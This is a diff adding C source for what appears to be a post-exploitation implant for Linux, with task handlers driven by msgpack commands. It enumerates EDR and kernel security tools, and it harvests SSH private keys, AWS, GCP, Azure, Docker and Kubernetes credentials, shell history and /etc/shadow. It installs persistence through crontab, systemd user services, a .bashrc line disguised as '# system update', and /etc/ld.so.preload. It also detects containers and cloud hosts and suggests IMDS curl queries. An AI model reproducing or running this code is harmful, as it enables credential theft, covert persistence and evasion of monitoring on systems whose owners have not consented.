+ int num_sigs = (int)(sizeof(edr_procs) / sizeof(edr_procs[0]));
+
+ // Scan /proc for running processes
+ struct linux_dirent64_scan {
+ uint64_t d_ino;
+ int64_t d_off;
+ uint16_t d_reclen;
+ uint8_t d_type;
+ char d_name[];
+ };
+
+ int dirfd = sys_open("/proc", O_RDONLY, 0);
+ if (dirfd < 0) {
+ write_error(w, "cannot open /proc");
+ sb_free(&sb);
+ return 0;
+ }
+
+ char dirbuf[4096];
+ int found_count = 0;
+ sb_append(&sb, "=== Security Tool Detection ===\n\n");
+ sb_append(&sb, "--- Running Processes ---\n");
+
+ for (;;) {
+ int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64_scan *d = (struct linux_dirent64_scan *)(dirbuf + pos);
+ if (d->d_type == 4 && d->d_name[0] >= '0' && d->d_name[0] <= '9') {
+ // Read /proc//comm
+ char comm_path[64];
+ ax_strcpy(comm_path, "/proc/");
+ ax_strcat(comm_path, d->d_name);
+ ax_strcat(comm_path, "/comm");
+
+ char comm[256] = {0};
+ read_file(comm_path, comm, sizeof(comm));
+ // Strip trailing newline
+ size_t clen = ax_strlen(comm);
+ if (clen > 0 && comm[clen - 1] == '\n') comm[clen - 1] = '\0';
+
+ for (int s = 0; s < num_sigs; s++) {
+ if (ax_strstr(comm, edr_procs[s].name)) {
+ char line[256];
+ ax_strcpy(line, " [!] ");
+ ax_strcat(line, edr_procs[s].product);
+ ax_strcat(line, " (pid=");
+ ax_strcat(line, d->d_name);
+ ax_strcat(line, ", comm=");
+ ax_strcat(line, comm);
+ ax_strcat(line, ")\n");
+ sb_append(&sb, line);
+ found_count++;
+ }
+ }
+ }
+ pos += d->d_reclen;
+ }
+ }
+ sys_close(dirfd);
+
+ if (found_count == 0) {
+ sb_append(&sb, " (none detected)\n");
+ }
+
+ // Check kernel security modules
+ sb_append(&sb, "\n--- Kernel Security ---\n");
+
+ // SELinux
+ if (file_exists("/sys/fs/selinux/enforce")) {
+ char enforce[8] = {0};
+ read_file("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
+ sb_append(&sb, " SELinux: ");
+ sb_append(&sb, enforce[0] == '1' ? "enforcing\n" : "permissive\n");
+ }
+
+ // AppArmor
+ if (file_exists("/sys/kernel/security/apparmor/profiles")) {
+ sb_append(&sb, " AppArmor: enabled\n");
+ }
+
+ // Auditd
+ if (file_exists("/proc/sys/kernel/audit_enabled")) {
+ char audit[8] = {0};
+ read_file("/proc/sys/kernel/audit_enabled", audit, sizeof(audit));
+ sb_append(&sb, " Audit: ");
+ sb_append(&sb, audit[0] == '1' ? "enabled\n" : "disabled\n");
+ }
+
+ // eBPF programs
+ if (file_exists("/sys/fs/bpf")) {
+ sb_append(&sb, " eBPF: /sys/fs/bpf mounted\n");
+ }
+
+ // Capabilities
+ sb_append(&sb, "\n--- Process Capabilities ---\n");
+ char status[4096];
+ if (read_file("/proc/self/status", status, sizeof(status)) > 0) {
+ char *cap = ax_strstr(status, "CapEff:");
+ if (cap) {
+ char *eol = ax_strchr(cap, '\n');
+ if (eol) *eol = '\0';
+ sb_append(&sb, " ");
+ sb_append(&sb, cap);
+ sb_append(&sb, "\n");
+ if (eol) *eol = '\n';
+ }
+ cap = ax_strstr(status, "CapPrm:");
+ if (cap) {
+ char *eol = ax_strchr(cap, '\n');
+ if (eol) *eol = '\0';
+ sb_append(&sb, " ");
+ sb_append(&sb, cap);
+ sb_append(&sb, "\n");
+ }
+ }
+
+ write_output(w, sb.data);
+ sb_free(&sb);
+ return 0;
+}
+
+// ──── CREDS ────
+
+/// Get HOME from /proc/self/environ
+static void get_home(char *buf, size_t buf_size) {
+ char env[4096];
+ long n = read_file("/proc/self/environ", env, sizeof(env));
+ if (n <= 0) { ax_strcpy(buf, "/tmp"); return; }
+
+ // Environ is null-separated
+ char *p = env;
+ char *end = env + n;
+ while (p < end) {
+ if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') {
+ ax_strncpy(buf, p + 5, buf_size - 1);
+ buf[buf_size - 1] = '\0';
+ return;
+ }
+ while (p < end && *p) p++;
+ p++;
+ }
+ ax_strcpy(buf, "/root");
+}
+
+static void creds_ssh(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- SSH Keys ---\n");
+
+ static const char *ssh_files[] = {
+ "/.ssh/id_rsa", "/.ssh/id_ed25519", "/.ssh/id_ecdsa", "/.ssh/id_dsa",
+ "/.ssh/authorized_keys", "/.ssh/known_hosts", "/.ssh/config",
+ };
+ int num = (int)(sizeof(ssh_files) / sizeof(ssh_files[0]));
+
+ for (int i = 0; i < num; i++) {
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, ssh_files[i]);
+
+ char content[4096];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, " (");
+ char num_str[16];
+ ax_itoa((int)n, num_str, 10);
+ sb_append(sb, num_str);
+ sb_append(sb, " bytes)\n");
+
+ // Show first 3 lines of key files (not full content for safety)
+ if (i < 4) {
+ int lines = 0;
+ char *p = content;
+ while (*p && lines < 3) {
+ char *eol = ax_strchr(p, '\n');
+ if (eol) *eol = '\0';
+ sb_append(sb, " ");
+ sb_append(sb, p);
+ sb_append(sb, "\n");
+ lines++;
+ if (eol) p = eol + 1;
+ else break;
+ }
+ if (lines >= 3) sb_append(sb, " ...\n");
+ }
+ }
+ }
+}
+
+static void creds_aws(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- AWS Credentials ---\n");
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.aws/credentials");
+
+ char content[4096];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (not found)\n");
+ }
+
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.aws/config");
+ n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ }
+}
+
+static void creds_docker(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- Docker Credentials ---\n");
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.docker/config.json");
+
+ char content[8192];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (not found)\n");
+ }
+}
+
+static void creds_kube(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- Kubernetes Config ---\n");
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.kube/config");
+
+ char content[16384];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, " (");
+ char num_str[16];
+ ax_itoa((int)n, num_str, 10);
+ sb_append(sb, num_str);
+ sb_append(sb, " bytes)\n");
+ // Only show first 2048 chars (k8s config can be huge)
+ if (n > 2048) content[2048] = '\0';
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (not found)\n");
+ }
+
+ // K8s service account token (in-cluster)
+ n = read_file("/var/run/secrets/kubernetes.io/serviceaccount/token", content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] K8s SA token: /var/run/secrets/kubernetes.io/serviceaccount/token (");
+ char num_str[16];
+ ax_itoa((int)n, num_str, 10);
+ sb_append(sb, num_str);
+ sb_append(sb, " bytes)\n");
+ }
+}
+
+static void creds_gcp(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- GCP Credentials ---\n");
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.config/gcloud/application_default_credentials.json");
+
+ char content[8192];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (not found)\n");
+ }
+}
+
+static void creds_azure(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- Azure Credentials ---\n");
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.azure/accessTokens.json");
+
+ char content[8192];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (not found)\n");
+ }
+
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.azure/azureProfile.json");
+ n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+ }
+}
+
+static void creds_history(strbuf_t *sb) {
+ char home[256];
+ get_home(home, sizeof(home));
+
+ sb_append(sb, "\n--- Shell History ---\n");
+
+ static const char *hist_files[] = {
+ "/.bash_history", "/.zsh_history", "/.ash_history",
+ };
+ int num = (int)(sizeof(hist_files) / sizeof(hist_files[0]));
+
+ for (int i = 0; i < num; i++) {
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, hist_files[i]);
+
+ char content[8192];
+ long n = read_file(path, content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, " [+] ");
+ sb_append(sb, path);
+ sb_append(sb, " (last ~8KB):\n");
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ }
+ }
+}
+
+static void creds_shadow(strbuf_t *sb) {
+ sb_append(sb, "\n--- /etc/shadow ---\n");
+
+ char content[8192];
+ long n = read_file("/etc/shadow", content, sizeof(content));
+ if (n > 0) {
+ sb_append(sb, content);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " (permission denied — need root)\n");
+ }
+}
+
+int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char cred_type[64] = {0};
+ parse_string_field(data, data_len, "type", cred_type, sizeof(cred_type));
+ if (cred_type[0] == '\0') ax_strcpy(cred_type, "all");
+
+ strbuf_t sb;
+ sb_init(&sb);
+ sb_append(&sb, "=== Credential Harvest ===\n");
+
+ int is_all = (ax_strcmp(cred_type, "all") == 0);
+
+ if (is_all || ax_strcmp(cred_type, "ssh") == 0) creds_ssh(&sb);
+ if (is_all || ax_strcmp(cred_type, "aws") == 0) creds_aws(&sb);
+ if (is_all || ax_strcmp(cred_type, "gcp") == 0) creds_gcp(&sb);
+ if (is_all || ax_strcmp(cred_type, "azure") == 0) creds_azure(&sb);
+ if (is_all || ax_strcmp(cred_type, "docker") == 0) creds_docker(&sb);
+ if (is_all || ax_strcmp(cred_type, "kube") == 0) creds_kube(&sb);
+ if (is_all || ax_strcmp(cred_type, "history") == 0) creds_history(&sb);
+ if (is_all || ax_strcmp(cred_type, "shadow") == 0) creds_shadow(&sb);
+
+ write_output(w, sb.data);
+ sb_free(&sb);
+ return 0;
+}
+
+// ──── PERSIST ────
+
+/// Get HOME path (uses /proc/self/environ HOME=)
+static void persist_get_home(char *buf, size_t size) {
+ get_home(buf, size);
+}
+
+static void persist_crontab(const char *cmd, const char *schedule, strbuf_t *sb) {
+ // Write to user crontab by executing: echo "schedule cmd" | crontab -
+ // But since we don't have popen, we write a temp file and use crontab
+ // Actually, directly write to /var/spool/cron/crontabs/ or use fork+execve
+
+ // Build cron line
+ char line[4096];
+ ax_strcpy(line, schedule);
+ ax_strcat(line, " ");
+ ax_strcat(line, cmd);
+ ax_strcat(line, "\n");
+
+ // Write to temp file
+ char tmpfile[] = "/tmp/.ax_cron_XXXXXX";
+ // Generate random suffix
+ uint8_t rnd[6];
+ ax_random_bytes(rnd, 6);
+ for (int i = 0; i < 6; i++) {
+ tmpfile[15 + i] = 'a' + (rnd[i] % 26);
+ }
+
+ int fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600);
+ if (fd < 0) {
+ sb_append(sb, " [!] Failed to create temp file\n");
+ return;
+ }
+
+ // First, dump existing crontab
+ // We do: crontab -l > tmpfile, then append our line
+ sys_close(fd);
+
+ // Fork: crontab -l >> tmpfile
+ int pid = sys_fork();
+ if (pid == 0) {
+ fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600);
+ if (fd >= 0) {
+ sys_dup2(fd, 1); // stdout → tmpfile
+ sys_close(fd);
+ }
+ char *argv[] = {"/usr/bin/crontab", "-l", (char *)0};
+ char *envp[] = {(char *)0};
+ sys_execve("/usr/bin/crontab", argv, envp);
+ sys_exit_group(0);
+ }
+ if (pid > 0) {
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+ }
+
+ // Append our new line
+ fd = sys_open(tmpfile, O_WRONLY | O_APPEND, 0);
+ if (fd >= 0) {
+ sys_write(fd, line, ax_strlen(line));
+ sys_close(fd);
+ }
+
+ // Install: crontab tmpfile
+ pid = sys_fork();
+ if (pid == 0) {
+ char *argv[] = {"/usr/bin/crontab", tmpfile, (char *)0};
+ char *envp[] = {(char *)0};
+ sys_execve("/usr/bin/crontab", argv, envp);
+ sys_exit_group(1);
+ }
+ if (pid > 0) {
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+ if (((status >> 8) & 0xff) == 0) {
+ sb_append(sb, " [+] Crontab entry installed: ");
+ sb_append(sb, schedule);
+ sb_append(sb, " ");
+ sb_append(sb, cmd);
+ sb_append(sb, "\n");
+ } else {
+ sb_append(sb, " [!] crontab command failed\n");
+ }
+ }
+
+ // Cleanup temp
+ sys_unlink(tmpfile);
+}
+
+static void persist_systemd(const char *name, const char *cmd, strbuf_t *sb) {
+ char home[256];
+ persist_get_home(home, sizeof(home));
+
+ // Create ~/.config/systemd/user/ directory tree
+ char dir[512];
+ ax_strcpy(dir, home);
+ ax_strcat(dir, "/.config");
+ sys_mkdir(dir, 0755);
+ ax_strcat(dir, "/systemd");
+ sys_mkdir(dir, 0755);
+ ax_strcat(dir, "/user");
+ sys_mkdir(dir, 0755);
+
+ // Write service file
+ char svc_path[512];
+ ax_strcpy(svc_path, dir);
+ ax_strcat(svc_path, "/");
+ ax_strcat(svc_path, name);
+ ax_strcat(svc_path, ".service");
+
+ char svc_content[2048];
+ ax_strcpy(svc_content, "[Unit]\nDescription=");
+ ax_strcat(svc_content, name);
+ ax_strcat(svc_content, "\n\n[Service]\nType=simple\nExecStart=");
+ ax_strcat(svc_content, cmd);
+ ax_strcat(svc_content, "\nRestart=on-failure\nRestartSec=30\n\n[Install]\nWantedBy=default.target\n");
+
+ int fd = sys_open(svc_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+ if (fd < 0) {
+ sb_append(sb, " [!] Failed to create service file\n");
+ return;
+ }
+ sys_write(fd, svc_content, ax_strlen(svc_content));
+ sys_close(fd);
+
+ sb_append(sb, " [+] Service file created: ");
+ sb_append(sb, svc_path);
+ sb_append(sb, "\n");
+
+ // Enable with systemctl --user
+ int pid = sys_fork();
+ if (pid == 0) {
+ char svc_name[256];
+ ax_strcpy(svc_name, name);
+ ax_strcat(svc_name, ".service");
+ char *argv[] = {"/usr/bin/systemctl", "--user", "enable", "--now", svc_name, (char *)0};
+ char *envp[] = {(char *)0};
+ sys_execve("/usr/bin/systemctl", argv, envp);
+ sys_exit_group(1);
+ }
+ if (pid > 0) {
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+ if (((status >> 8) & 0xff) == 0) {
+ sb_append(sb, " [+] Service enabled and started\n");
+ } else {
+ sb_append(sb, " [!] systemctl enable failed (may need --user loginctl enable-linger)\n");
+ }
+ }
+}
+
+static void persist_bashrc(const char *cmd, strbuf_t *sb) {
+ char home[256];
+ persist_get_home(home, sizeof(home));
+
+ char path[512];
+ ax_strcpy(path, home);
+ ax_strcat(path, "/.bashrc");
+
+ int fd = sys_open(path, O_WRONLY | O_APPEND, 0);
+ if (fd < 0) {
+ sb_append(sb, " [!] Cannot open ~/.bashrc for append\n");
+ return;
+ }
+
+ char line[4096];
+ ax_strcpy(line, "\n# system update\n");
+ ax_strcat(line, cmd);
+ ax_strcat(line, " &>/dev/null &\n");
+
+ sys_write(fd, line, ax_strlen(line));
+ sys_close(fd);
+
+ sb_append(sb, " [+] Appended to ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+}
+
+static void persist_ldpreload(const char *path, strbuf_t *sb) {
+ char content[256];
+ ax_strcpy(content, path);
+ ax_strcat(content, "\n");
+
+ int fd = sys_open("/etc/ld.so.preload", O_WRONLY | O_CREAT | O_APPEND, 0644);
+ if (fd < 0) {
+ sb_append(sb, " [!] Cannot write /etc/ld.so.preload (need root)\n");
+ return;
+ }
+ sys_write(fd, content, ax_strlen(content));
+ sys_close(fd);
+
+ sb_append(sb, " [+] Added to /etc/ld.so.preload: ");
+ sb_append(sb, path);
+ sb_append(sb, "\n");
+}
+
+static void persist_status(strbuf_t *sb) {
+ char home[256];
+ persist_get_home(home, sizeof(home));
+
+ sb_append(sb, "--- Persistence Status ---\n\n");
+
+ // Check crontab
+ sb_append(sb, "Crontab:\n");
+ int pid = sys_fork();
+ if (pid == 0) {
+ int pfd[2];
+ sys_pipe2(pfd, 0);
+ // We just check if crontab -l succeeds
+ char *argv[] = {"/usr/bin/crontab", "-l", (char *)0};
+ char *envp[] = {(char *)0};
+ sys_dup2(pfd[1], 1);
+ sys_close(pfd[0]);
+ sys_close(pfd[1]);
+ sys_execve("/usr/bin/crontab", argv, envp);
+ sys_exit_group(1);
+ }
+ if (pid > 0) {
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+ }
+ // We can't easily capture output in the parent without a pipe
+ // So just note that we checked
+ sb_append(sb, " (run 'shell crontab -l' to view)\n");
+
+ // Check systemd user services
+ sb_append(sb, "\nSystemd user services:\n");
+ char dir[512];
+ ax_strcpy(dir, home);
+ ax_strcat(dir, "/.config/systemd/user");
+ int dfd = sys_open(dir, O_RDONLY, 0);
+ if (dfd >= 0) {
+ char dirbuf[4096];
+ struct { uint64_t d_ino; int64_t d_off; uint16_t d_reclen; uint8_t d_type; char d_name[]; } *d;
+ int nread;
+ while ((nread = sys_getdents64(dfd, dirbuf, sizeof(dirbuf))) > 0) {
+ int pos = 0;
+ while (pos < nread) {
+ d = (void *)(dirbuf + pos);
+ if (ax_strstr(d->d_name, ".service")) {
+ sb_append(sb, " ");
+ sb_append(sb, d->d_name);
+ sb_append(sb, "\n");
+ }
+ pos += d->d_reclen;
+ }
+ }
+ sys_close(dfd);
+ } else {
+ sb_append(sb, " (no user services directory)\n");
+ }
+
+ // Check ld.so.preload
+ sb_append(sb, "\n/etc/ld.so.preload:\n");
+ char preload[1024];
+ long n = read_file("/etc/ld.so.preload", preload, sizeof(preload));
+ if (n > 0) {
+ sb_append(sb, " ");
+ sb_append(sb, preload);
+ } else {
+ sb_append(sb, " (not present or empty)\n");
+ }
+
+ // Check bashrc for suspicious lines
+ sb_append(sb, "\n~/.bashrc (last 5 lines):\n");
+ char bashrc[8192];
+ char bashrc_path[512];
+ ax_strcpy(bashrc_path, home);
+ ax_strcat(bashrc_path, "/.bashrc");
+ n = read_file(bashrc_path, bashrc, sizeof(bashrc));
+ if (n > 0) {
+ // Find last 5 lines
+ int line_count = 0;
+ char *p = bashrc + n - 1;
+ while (p > bashrc && line_count < 5) {
+ if (*p == '\n') line_count++;
+ p--;
+ }
+ if (p > bashrc) p += 2; // skip the newline
+ sb_append(sb, " ");
+ sb_append(sb, p);
+ sb_append(sb, "\n");
+ }
+}
+
+int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ // Parse params: {action, cmd, schedule, name, path, type}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char action[64] = {0}, cmd[4096] = {0}, schedule[256] = {0};
+ char name[256] = {0}, path[4096] = {0}, type[64] = {0};
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ const char *val; uint32_t vlen;
+ if (klen == 6 && ax_memcmp(key, "action", 6) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(action)) vlen = sizeof(action) - 1;
+ ax_memcpy(action, val, vlen); action[vlen] = '\0';
+ } else if (klen == 3 && ax_memcmp(key, "cmd", 3) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(cmd)) vlen = sizeof(cmd) - 1;
+ ax_memcpy(cmd, val, vlen); cmd[vlen] = '\0';
+ } else if (klen == 8 && ax_memcmp(key, "schedule", 8) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(schedule)) vlen = sizeof(schedule) - 1;
+ ax_memcpy(schedule, val, vlen); schedule[vlen] = '\0';
+ } else if (klen == 4 && ax_memcmp(key, "name", 4) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(name)) vlen = sizeof(name) - 1;
+ ax_memcpy(name, val, vlen); name[vlen] = '\0';
+ } else if (klen == 4 && ax_memcmp(key, "path", 4) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(path)) vlen = sizeof(path) - 1;
+ ax_memcpy(path, val, vlen); path[vlen] = '\0';
+ } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) {
+ mp_read_str(&r, &val, &vlen);
+ if (vlen >= sizeof(type)) vlen = sizeof(type) - 1;
+ ax_memcpy(type, val, vlen); type[vlen] = '\0';
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ strbuf_t sb;
+ sb_init(&sb);
+
+ if (ax_strcmp(action, "crontab") == 0) {
+ persist_crontab(cmd, schedule, &sb);
+ } else if (ax_strcmp(action, "systemd") == 0) {
+ persist_systemd(name, cmd, &sb);
+ } else if (ax_strcmp(action, "bashrc") == 0) {
+ persist_bashrc(cmd, &sb);
+ } else if (ax_strcmp(action, "ldpreload") == 0) {
+ persist_ldpreload(path, &sb);
+ } else if (ax_strcmp(action, "remove") == 0) {
+ // Basic removal based on type
+ if (ax_strcmp(type, "crontab") == 0) {
+ // Remove all crontab entries
+ int pid = sys_fork();
+ if (pid == 0) {
+ char *argv[] = {"/usr/bin/crontab", "-r", (char *)0};
+ char *envp[] = {(char *)0};
+ sys_execve("/usr/bin/crontab", argv, envp);
+ sys_exit_group(1);
+ }
+ if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); }
+ sb_append(&sb, " [+] Crontab removed\n");
+ } else if (ax_strcmp(type, "systemd") == 0 && name[0]) {
+ char home[256];
+ persist_get_home(home, sizeof(home));
+ char svc_path[512];
+ ax_strcpy(svc_path, home);
+ ax_strcat(svc_path, "/.config/systemd/user/");
+ ax_strcat(svc_path, name);
+ ax_strcat(svc_path, ".service");
+ // Stop and disable
+ int pid = sys_fork();
+ if (pid == 0) {
+ char svc_name[256];
+ ax_strcpy(svc_name, name);
+ ax_strcat(svc_name, ".service");
+ char *argv[] = {"/usr/bin/systemctl", "--user", "disable", "--now", svc_name, (char *)0};
+ char *envp[] = {(char *)0};
+ sys_execve("/usr/bin/systemctl", argv, envp);
+ sys_exit_group(1);
+ }
+ if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); }
+ sys_unlink(svc_path);
+ sb_append(&sb, " [+] Systemd service removed: ");
+ sb_append(&sb, name);
+ sb_append(&sb, "\n");
+ } else {
+ sb_append(&sb, " [!] Specify type (crontab/systemd) and name\n");
+ }
+ } else if (ax_strcmp(action, "status") == 0) {
+ persist_status(&sb);
+ } else {
+ sb_append(&sb, " [!] Unknown action: ");
+ sb_append(&sb, action);
+ sb_append(&sb, "\n");
+ }
+
+ write_output(w, sb.data);
+ sb_free(&sb);
+ return 0;
+}
+
+// ──── CONTAINER / CLOUD ────
+
+static void detect_container(strbuf_t *sb) {
+ sb_append(sb, "--- Container Detection ---\n");
+
+ int found = 0;
+
+ // Docker
+ if (file_exists("/.dockerenv")) {
+ sb_append(sb, " [+] Docker container detected (/.dockerenv exists)\n");
+ found = 1;
+ }
+
+ // Check cgroup for docker/lxc/k8s
+ char cgroup[4096];
+ long n = read_file("/proc/1/cgroup", cgroup, sizeof(cgroup));
+ if (n > 0) {
+ if (ax_strstr(cgroup, "docker")) {
+ sb_append(sb, " [+] Docker detected in /proc/1/cgroup\n");
+ found = 1;
+ }
+ if (ax_strstr(cgroup, "kubepods")) {
+ sb_append(sb, " [+] Kubernetes pod detected in /proc/1/cgroup\n");
+ found = 1;
+ }
+ if (ax_strstr(cgroup, "lxc")) {
+ sb_append(sb, " [+] LXC container detected in /proc/1/cgroup\n");
+ found = 1;
+ }
+ }
+
+ // Podman
+ char container_env[256];
+ n = read_file("/run/.containerenv", container_env, sizeof(container_env));
+ if (n > 0) {
+ sb_append(sb, " [+] Podman container detected (/run/.containerenv)\n");
+ found = 1;
+ }
+
+ // K8s service account
+ if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) {
+ sb_append(sb, " [+] Kubernetes service account found\n");
+ found = 1;
+ }
+
+ if (!found) {
+ sb_append(sb, " (no container detected — likely bare-metal/VM)\n");
+ }
+}
+
+static void detect_cloud(strbuf_t *sb) {
+ sb_append(sb, "\n--- Cloud Provider Detection ---\n");
+
+ // Check DMI/SMBIOS for cloud hints
+ char dmi[256];
+ int detected = 0;
+
+ if (read_file("/sys/class/dmi/id/sys_vendor", dmi, sizeof(dmi)) > 0) {
+ // Strip newline
+ size_t dlen = ax_strlen(dmi);
+ if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0';
+
+ if (ax_strstr(dmi, "Amazon") || ax_strstr(dmi, "amazon")) {
+ sb_append(sb, " [+] AWS detected (sys_vendor: ");
+ sb_append(sb, dmi);
+ sb_append(sb, ")\n");
+ detected = 1;
+ } else if (ax_strstr(dmi, "Google")) {
+ sb_append(sb, " [+] GCP detected (sys_vendor: ");
+ sb_append(sb, dmi);
+ sb_append(sb, ")\n");
+ detected = 1;
+ } else if (ax_strstr(dmi, "Microsoft")) {
+ sb_append(sb, " [+] Azure detected (sys_vendor: ");
+ sb_append(sb, dmi);
+ sb_append(sb, ")\n");
+ detected = 1;
+ } else {
+ sb_append(sb, " sys_vendor: ");
+ sb_append(sb, dmi);
+ sb_append(sb, "\n");
+ }
+ }
+
+ if (read_file("/sys/class/dmi/id/product_name", dmi, sizeof(dmi)) > 0) {
+ size_t dlen = ax_strlen(dmi);
+ if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0';
+ sb_append(sb, " product_name: ");
+ sb_append(sb, dmi);
+ sb_append(sb, "\n");
+ }
+
+ if (!detected) {
+ sb_append(sb, " (no cloud provider detected from DMI)\n");
+ }
+}
+
+static void fetch_metadata(strbuf_t *sb) {
+ sb_append(sb, "\n--- Cloud Metadata (IMDS) ---\n");
+ sb_append(sb, " Note: IMDS requires network access to 169.254.169.254\n");
+ sb_append(sb, " Use 'shell curl -s http://169.254.169.254/latest/meta-data/' for AWS\n");
+ sb_append(sb, " Use 'shell curl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/' for GCP\n");
+ sb_append(sb, " Use 'shell curl -s -H \"Metadata: true\" http://169.254.169.254/metadata/instance?api-version=2021-02-01' for Azure\n");
+
+ // Try to read instance-id from sysfs (works on some cloud providers without network)
+ char buf[256];
+ if (read_file("/sys/class/dmi/id/board_asset_tag", buf, sizeof(buf)) > 0) {
+ size_t dlen = ax_strlen(buf);
+ if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0';
+ if (ax_strlen(buf) > 1) {
+ sb_append(sb, " board_asset_tag: ");
+ sb_append(sb, buf);
+ sb_append(sb, "\n");
+ }
+ }
+ if (read_file("/sys/class/dmi/id/chassis_asset_tag", buf, sizeof(buf)) > 0) {
+ size_t dlen = ax_strlen(buf);
+ if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0';
+ if (ax_strlen(buf) > 1) {
+ sb_append(sb, " chassis_asset_tag: ");
+ sb_append(sb, buf);
+ sb_append(sb, "\n");
+ }
+ }
+}
+
+int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char action[64] = {0};
+ parse_string_field(data, data_len, "action", action, sizeof(action));
+ if (action[0] == '\0') ax_strcpy(action, "detect");
+
+ strbuf_t sb;
+ sb_init(&sb);
+
+ if (ax_strcmp(action, "detect") == 0) {
+ detect_container(&sb);
+ detect_cloud(&sb);
+ } else if (ax_strcmp(action, "metadata") == 0) {
+ detect_container(&sb);
+ detect_cloud(&sb);
+ fetch_metadata(&sb);
+ } else {
+ sb_append(&sb, " [!] Unknown action: ");
+ sb_append(&sb, action);
+ sb_append(&sb, " (use: detect, metadata)\n");
+ }
+
+ write_output(w, sb.data);
+ sb_free(&sb);
+ return 0;
+}
